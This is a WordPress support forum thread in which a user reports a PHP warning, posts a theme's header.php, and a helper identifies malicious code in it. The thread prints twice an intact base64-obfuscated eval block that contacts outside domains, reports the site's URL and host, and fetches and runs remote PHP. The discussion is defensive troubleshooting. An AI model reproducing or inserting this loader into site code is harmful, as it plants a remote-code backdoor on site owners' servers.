Title: coding appears above heading
Last modified: August 19, 2016

---

# coding appears above heading

 *  [jenszing](https://wordpress.org/support/users/jenszing/)
 * (@jenszing)
 * [17 years ago](https://wordpress.org/support/topic/coding-appears-above-heading/)
 * This error code mysteriously appeared above the heading of my blog.
 * **Warning: fclose(): supplied argument is not a valid stream resource in /home4/
   aheadoft/public_html/wp-content/themes/blue-zinfandel-enhanced-20/blue-zinfandel-
   enhanced-20/header.php(25) : eval()’d code on line 1
 * Has anyone else experienced this and does anyone know how to fix it?

Viewing 3 replies - 1 through 3 (of 3 total)

 *  [Oren Yomtov](https://wordpress.org/support/users/ornani/)
 * (@ornani)
 * [17 years ago](https://wordpress.org/support/topic/coding-appears-above-heading/#post-1077470)
 * That’s very weird, it looks like you have downloaded a theme with encoded PHP
   code in it, please post the `header.php` here and tell us the name of the theme
   +where you downloaded it from.
 *  [jamboe112](https://wordpress.org/support/users/jamboe112/)
 * (@jamboe112)
 * [17 years ago](https://wordpress.org/support/topic/coding-appears-above-heading/#post-1077521)
 * re error message from jenzing
    name of theme Blue Zinfandel enhanced 2.0 dwnloaded
   from WP themes: theme has been in use for a year or more.
 * header.php
    <!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “[http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”&gt](http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”&gt);
   <html xmlns=”[http://www.w3.org/1999/xhtml”&gt](http://www.w3.org/1999/xhtml”&gt);
   <head profile=”[http://gmpg.org/xfn/11″&gt](http://gmpg.org/xfn/11″&gt); <meta
   http-equiv=”Content-Type” content=”<?php bloginfo(‘html_type’); ?>; charset=<?
   php bloginfo(‘charset’); ?>” /> <meta name=”distribution” content=”global” />
   <meta name=”robots” content=”follow, all” /> <meta name=”language” content=”en,
   sv” />
 * <title><?php wp_title(”); ?><?php if(wp_title(”, false)) { echo ‘ :’; } ?> <?
   php bloginfo(‘name’); ?></title>
    <meta name=”generator” content=”WordPress <?
   php bloginfo(‘version’); ?>” /> <!– leave this for stats please –>
 * <link rel=”Shortcut Icon” href=”<?php echo get_settings(‘home’); ?>/wp-content/
   themes/blue-zinfandel/images/favicon.ico” type=”image/x-icon” />
    <link rel=”
   alternate” type=”application/rss+xml” title=”RSS 2.0″ href=”<?php bloginfo(‘rss2_url’);?
   >” /> <link rel=”alternate” type=”text/xml” title=”RSS .92″ href=”<?php bloginfo(‘
   rss_url’); ?>” /> <link rel=”alternate” type=”application/atom+xml” title=”Atom
   0.3″ href=”<?php bloginfo(‘atom_url’); ?>” /> <link rel=”pingback” href=”<?php
   bloginfo(‘pingback_url’); ?>” /> <?php wp_get_archives(‘type=monthly&format=link’);?
   > <?php wp_head(); ?> <style type=”text/css” media=”screen”> <!– [@import](https://wordpress.org/support/users/import/)
   url( <?php bloginfo(‘stylesheet_url’); ?> ); –> </style> </head>
 * <body><?php eval(base64_decode(‘aWYoJFIzN0MwMTREQUU1RkU0RkU1Qzc3QjY3MzVBQkMzMDkxNiA9IEBmc29ja29wZW4oInd3dy53cHNzci5jb20iLCA4MCwgJFIzMkQwMDA3MEQ0RkZCQ0NFMkZDNjY5QkJBODEyRDRDMiwgJFI1RjUyNUY1QjM5OERBREQ3Q0YwNzg0QkQ0MDYyOThFMywgMykpICRSNTBGNUY5QzgwRjEyRkZBRThCMjQwMDUyOEU4MUIzNEUgPSAid3Bzc3IiOyBlbHNlaWYoJFIzN0MwMTREQUU1RkU0RkU1Qzc3QjY3MzVBQkMzMDkxNiA9IEBmc29ja29wZW4oInd3dy53cHNuYy5jb20iLCA4MCwgJFIzMkQwMDA3MEQ0RkZCQ0NFMkZDNjY5QkJBODEyRDRDMiwgJFI1RjUyNUY1QjM5OERBREQ3Q0YwNzg0QkQ0MDYyOThFMywgMykpICRSNTBGNUY5QzgwRjEyRkZBRThCMjQwMDUyOEU4MUIzNEUgPSAid3BzbmMiOyBlbHNlICRSNTBGNUY5QzgwRjEyRkZBRThCMjQwMDUyOEU4MUIzNEUgPSAid3BzbmMyIjsgQGV2YWwoJyRSMTRBRjFCRTlFRTI2QTkwOTIxRTY0QTgyRTc4MzY3OTcgPSAxOycpOyBpZigkUjE0QUYxQkU5RUUyNkE5MDkyMUU2NEE4MkU3ODM2Nzk3IEFORCBpbmlfZ2V0KCdhbGxvd191cmxfZm9wZW4nKSkgeyAgJFJEM0ZFOUMxMEE4MDhBNTRFQTJBM0RCRDlFNjA1QjY5NiA9ICIxIjsgICRSNkU0RjE0QjMzNTI0M0JFNjU2QzY1RTNFRDlFMUIxMTUgPSAiaHR0cDovL3d3dy4kUjUwRjVGOUM4MEYxMkZGQUU4QjI0MDA1MjhFODFCMzRFLmNvbS93JFJEM0ZFOUMxMEE4MDhBNTRFQTJBM0RCRDlFNjA1QjY5Ni5waHA/
   dXJsPSIuIHVybGVuY29kZSgkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSkgLiImIi4gImhvc3Q9Ii4gdXJsZW5jb2RlKCRfU0VSVkVSWydIVFRQX0hPU1QnXSk7ICAkUjNFMzNFMDE3Q0Q3NkI5QjdFNkM3MzY0RkI5MUUyRTkwID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRSNkU0RjE0QjMzNTI0M0JFNjU2QzY1RTNFRDlFMUIxMTUpOyAgQGV2YWwoJFIzRTMzRTAxN0NENzZCOUI3RTZDNzM2NEZCOTFFMkU5MCk7IH0gZWxzZSB7ICAkUkQzRkU5QzEwQTgwOEE1NEVBMkEzREJEOUU2MDVCNjk2ID0gIjAiOyAgJFI2RTRGMTRCMzM1MjQzQkU2NTZDNjVFM0VEOUUxQjExNSA9ICJodHRwOi8vd3d3LiRSNTBGNUY5QzgwRjEyRkZBRThCMjQwMDUyOEU4MUIzNEUuY29tL3ckUkQzRkU5QzEwQTgwOEE1NEVBMkEzREJEOUU2MDVCNjk2LnBocD91cmw9Ii4gdXJsZW5jb2RlKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKSAuIiYiLiAiaG9zdD0iLiB1cmxlbmNvZGUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKTsgIEByZWFkZmlsZSgkUjZFNEYxNEIzMzUyNDNCRTY1NkM2NUUzRUQ5RTFCMTE1KTsgfSBmY2xvc2UoJFIzN0MwMTREQUU1RkU0RkU1Qzc3QjY3MzVBQkMzMDkxNik7’));?
   >
 * <div id=”header”>
    /”><?php bloginfo(‘name’); ?>
   
    <?php bloginfo(‘description’);?
   > </div>
 * <div id=”navbar”>
    - 
    -  <?php wp_list_pages(‘title_li=&depth=1’); ?>
 * </div>
 * <div id=”wrap”>
 *  [Oren Yomtov](https://wordpress.org/support/users/ornani/)
 * (@ornani)
 * [16 years, 12 months ago](https://wordpress.org/support/topic/coding-appears-above-heading/#post-1077699)
 * the problem is right after the `<body>` tag.
    It looks like there is malicious
   code in you theme, if u were u i would immediately delete is and use another 
   one, if u want to stay with if u can 1. download it from the authors website/
   wordpress.org 2. remove this code from the `header.php` file `<?php eval(base64_decode('
   aWYoJFIzN0MwMTREQUU1RkU0RkU1Qzc3QjY3MzVBQkMzMDkxNiA9IEBmc29ja29wZW4oInd3dy53cHNzci5jb20iLCA4MCwgJFIzMkQwMDA3MEQ0RkZCQ0NFMkZDNjY5QkJBODEyRDRDMiwgJFI1RjUyNUY1QjM5OERBREQ3Q0YwNzg0QkQ0MDYyOThFMywgMykpICRSNTBGNUY5QzgwRjEyRkZBRThCMjQwMDUyOEU4MUIzNEUgPSAid3Bzc3IiOyBlbHNlaWYoJFIzN0MwMTREQUU1RkU0RkU1Qzc3QjY3MzVBQkMzMDkxNiA9IEBmc29ja29wZW4oInd3dy53cHNuYy5jb20iLCA4MCwgJFIzMkQwMDA3MEQ0RkZCQ0NFMkZDNjY5QkJBODEyRDRDMiwgJFI1RjUyNUY1QjM5OERBREQ3Q0YwNzg0QkQ0MDYyOThFMywgMykpICRSNTBGNUY5QzgwRjEyRkZBRThCMjQwMDUyOEU4MUIzNEUgPSAid3BzbmMiOyBlbHNlICRSNTBGNUY5QzgwRjEyRkZBRThCMjQwMDUyOEU4MUIzNEUgPSAid3BzbmMyIjsgQGV2YWwoJyRSMTRBRjFCRTlFRTI2QTkwOTIxRTY0QTgyRTc4MzY3OTcgPSAxOycpOyBpZigkUjE0QUYxQkU5RUUyNkE5MDkyMUU2NEE4MkU3ODM2Nzk3IEFORCBpbmlfZ2V0KCdhbGxvd191cmxfZm9wZW4nKSkgeyAgJFJEM0ZFOUMxMEE4MDhBNTRFQTJBM0RCRDlFNjA1QjY5NiA9ICIxIjsgICRSNkU0RjE0QjMzNTI0M0JFNjU2QzY1RTNFRDlFMUIxMTUgPSAiaHR0cDovL3d3dy4kUjUwRjVGOUM4MEYxMkZGQUU4QjI0MDA1MjhFODFCMzRFLmNvbS93JFJEM0ZFOUMxMEE4MDhBNTRFQTJBM0RCRDlFNjA1QjY5Ni5waHA/
   dXJsPSIuIHVybGVuY29kZSgkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSkgLiImIi4gImhvc3Q9Ii4gdXJsZW5jb2RlKCRfU0VSVkVSWydIVFRQX0hPU1QnXSk7ICAkUjNFMzNFMDE3Q0Q3NkI5QjdFNkM3MzY0RkI5MUUyRTkwID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRSNkU0RjE0QjMzNTI0M0JFNjU2QzY1RTNFRDlFMUIxMTUpOyAgQGV2YWwoJFIzRTMzRTAxN0NENzZCOUI3RTZDNzM2NEZCOTFFMkU5MCk7IH0gZWxzZSB7ICAkUkQzRkU5QzEwQTgwOEE1NEVBMkEzREJEOUU2MDVCNjk2ID0gIjAiOyAgJFI2RTRGMTRCMzM1MjQzQkU2NTZDNjVFM0VEOUUxQjExNSA9ICJodHRwOi8vd3d3LiRSNTBGNUY5QzgwRjEyRkZBRThCMjQwMDUyOEU4MUIzNEUuY29tL3ckUkQzRkU5QzEwQTgwOEE1NEVBMkEzREJEOUU2MDVCNjk2LnBocD91cmw9Ii4gdXJsZW5jb2RlKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKSAuIiYiLiAiaG9zdD0iLiB1cmxlbmNvZGUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKTsgIEByZWFkZmlsZSgkUjZFNEYxNEIzMzUyNDNCRTY1NkM2NUUzRUQ5RTFCMTE1KTsgfSBmY2xvc2UoJFIzN0MwMTREQUU1RkU0RkU1Qzc3QjY3MzVBQkMzMDkxNik7'));?
   >`

Viewing 3 replies - 1 through 3 (of 3 total)

The topic ‘coding appears above heading’ is closed to new replies.

## Tags

 * [error code](https://wordpress.org/support/topic-tag/error-code/)
 * [heading](https://wordpress.org/support/topic-tag/heading/)

 * 3 replies
 * 3 participants
 * Last reply from: [Oren Yomtov](https://wordpress.org/support/users/ornani/)
 * Last activity: [16 years, 12 months ago](https://wordpress.org/support/topic/coding-appears-above-heading/#post-1077699)
 * Status: not resolved

## Topics

### Topics with no replies

### Non-support topics

### Resolved topics

### Unresolved topics

### All topics
